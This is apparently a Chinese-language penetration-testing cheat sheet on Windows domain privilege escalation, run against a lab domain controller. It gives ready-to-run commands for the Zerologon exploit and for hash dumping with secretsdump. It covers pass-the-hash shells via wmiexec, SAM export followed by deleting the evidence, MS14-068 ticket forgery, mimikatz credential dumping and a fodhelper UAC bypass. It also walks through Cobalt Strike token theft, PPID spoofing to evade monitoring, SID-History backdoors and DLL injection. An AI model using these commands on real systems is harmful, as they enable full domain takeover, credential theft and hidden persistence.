CVE-2020-1472(域内提权)
漏洞环境:
域控:windows server 2012 R2利用过程:
将域控密码设置为空->读取hash->读取sam文件hash(ntds.dit)->恢复域控密码
1.首先验证是否有漏洞
我们使用这个工具 https://github.com/SecuraBV/CVE-2020-1472
python zerologon_tester.py 域控主机名 域控地址
python zerologon_tester.py dc 172.16.253.1
返回success,说明存在漏洞
2. 重置域账号
我们使用这个工具https://github.com/dirkjanm/CVE-2020-1472
但要先安装要安装impacket(https://github.com/SecureAuthCorp/impacket)
安装方法:python -m pip install .
然后执行 python cve-2020-1472-exploit.py 域控主机名 域控地址
注意:这时候密码已经置空
3.读取域控中的hash
我们用impacket中的/impacket/examples/secretsdump.py
# windows
python secretsdump.py DOMAIN/DC_NETBIOS_NAME$@DC_IP_ADDR -just-dc -no-pass
python secretsdump.py yuaneuro.cn/dc$@172.16.253.1 -just-dc -no-pass
4.获取shell
获取到HASH之后接下来我们就可以利用wmiexec.py登录,从而获取一个SHELL
python wmiexec.py -hashes <HASH> DOMAIN/DOMAIN_USER@DC_IP_ADDR
python wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:7ab0ec168b0aabb2f20d4de20e4961d4 yuaneuro.cn/administrator@172.16.253.1 -codec gbk
至此,我们就成功获取到了域控的shell,做完权限位置后,我们要恢复域控的密码,不然域控会脱域。
5. 导出SAM中原来的hash
首先利用注册表命令将目标机的sam或者system文件导出,然后清除痕迹
reg save HKLM\SYSTEM system.save
reg save HKLM\SAM sam.save
reg save HKLM\SECURITY security.save
get system.save
get sam.save
get security.save
del /f system.save
del /f sam.save
del /f security.save
exit
这样可以获取域控脱域之前本地保存的hash
6. 解析hash
secretsdump.py -sam sam.hive -system system.hive -security security.hive LOCAL
7. 恢复hash
python reinstall_original_pw.py dc 172.16.253.1 3d6830f709a494680a6c7f6f0ee35386bd2a30cc5fb5c1809c19b0666292cc...
.
MS14-068(server2012以下系统可用)
ms14-068利用的条件有4个
域用户
域控名
域用户密码
使用mimikatz抓取密码:mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" > 1.txt
域用户sid
whoami /user
域ip
利用ms14-068.exe 工具生成伪造的kerberos协议认证证书
MS14-068.exe -u <userName>@<domainName> -p <clearPassword> -s <userSid> -d <domainControlerAddr>
MS14-068.exe -u testuser@yuaneuro.cn -p qwe123@Q -s S-1-5-21-3398013025-58582661-3905515547-1103 -d 172.16.253.1
然后使用mimikatz将证书写入,从而提升为域管理员
kerberos::purge
kerberos::ptc TGT_testuser@yuaneuro.cn.ccache
bypass UAC
自动提升(autoElevate)
原理:具有autoElevate属性为True的应用程序会在启动时自动提升权限,而这些应用程序往往都具备微软的签名,微软认为它是可信的。故此,在该程序启动时,将会以管理员身份启动。
fodhelper.exe是win10中引入的,位置在:C:\Windows\System32\fodhelper.exe,因为它使用微软的证书签名软件并位于一个受信任的位置,最重要的是它autoElevate属性为True,允许自动升级,不需要任何交互来允许进程升级
启动 fodhelper.exe 时,会检查注册表HKEY_CURRENT_USER\Software\Classes\ms-settings\shell\open\command
和HKEY_CURRENT_USER\Software\Classes\ms-settings\shell\open\command\DelegateExecute
,如果存在则会执行第一个里面的值。
所以我们可以在注册表中创建此结构:
reg add HKEY_CURRENT_USER\Software\Classes\ms-settings\shell\open\command /d C:\Windows\System32\cmd.exe /f
reg add HKEY_CURRENT_USER\Software\Classes\ms-settings\shell\open\command /v DelegateExecute /t REG_DWORD /d 00000000 /f
fodhelper.exe
reg delete HKEY_CURRENT_USER\Software\Classes\ms-settings\ /f
DLL劫持
原理:首先生成编译好的DLL,并执行自动高权限的程序取加载DLL
使用cs的uac-token-duplication提权模块也可以bypassuac
CVE-2015-1701(内核特权提升漏洞)
exp:https://github.com/hfiref0x/CVE-2015-1701
直接运行就行了
MS16-032,CVE-2016-0099(逻辑漏洞)
exp:https://github.com/zcgonvh/MS16-032
CVE-2020-0787 (本地提权)
exp:https://github.com/cbwang505/CVE-2020-0787-EXP-ALL-WINDOWS-VERSION
Token窃取与冒用
使用
DuplicateToken(Ex)
函数创建一个新的访问令牌,该令牌复制自现有令牌。然后可以将该令牌用于ImpersonateLoggedOnUser
函数,允许调用线程模拟已登录用户的安全上下文,或者使用SetThreadToken
函数将模拟令牌分配给线程。当目标用户在系统上具有非网络登录会话时,这很有用。
这里我们使用Cobalt Strike做演示:
首先我们以testuser用户上线,使用bypassuac提权至管理员。
窃取token:
打开Process List
我们看到这里有域管理员的账号登录
点击steal或者输入steal_token {pid}
就可以窃取凭证了
此时就可以访问域控了
使用 rev2self
可移除当前窃取的令牌
父进程PPID欺骗
通常在检查中,通过对父子进程间关系的检测来判断该进程是否存在异常,使用父进程欺骗可以逃避进程监视防御或提升特权。
首先我们使用cs生成一个木马在受害端执行。
查看进程可看到默认的父进程ppid是464
我们点击右键选择Set as PPID
,
或者直接输入ppid {ppid}
然后派生一个会话,选择一个listener,然后我们查看进程
可以看到父进程已经成2556了
或者如果在机器上有更高权限的用户存在,我们也可以将父pid设置成高权限账户的进程:
这样派生出来的会话也是域管理员的权限的会话。
SID-History注入(后门)
原理:windows中的sid是独一无二的,用于标识用户或组帐户。帐户可以在
SID-History Active Directory 属性
中保存额外的 SID,允许域之间的可互操作帐户迁移。所以我们可以使用管理员权限将管理员等用户的SID插入到SID-History中,以此提升权限。
首先在域控执行mimikatzprivilege::debug
,提升权限,sid::patch
,对域控LDAP修改过程中的验证函数进行patch,patch共分为两个步骤,如果仅第一步patch成功的话,那么可以使用sid::add功能,两步都patch成功的话才可以使用sid::modify功能,sid::add /sam:test /new:administrator
,将administrator的SID添加到hack的SID History属性中。
DLL注入
首先使用cs生成一个dll
然后RemoteDLLInjector64
使用CreateRemoteThread将DLL注入到进程中
RemoteDLLInjector64.exe {PID} {DLL_path}
然后就可以得到一个system权限的会话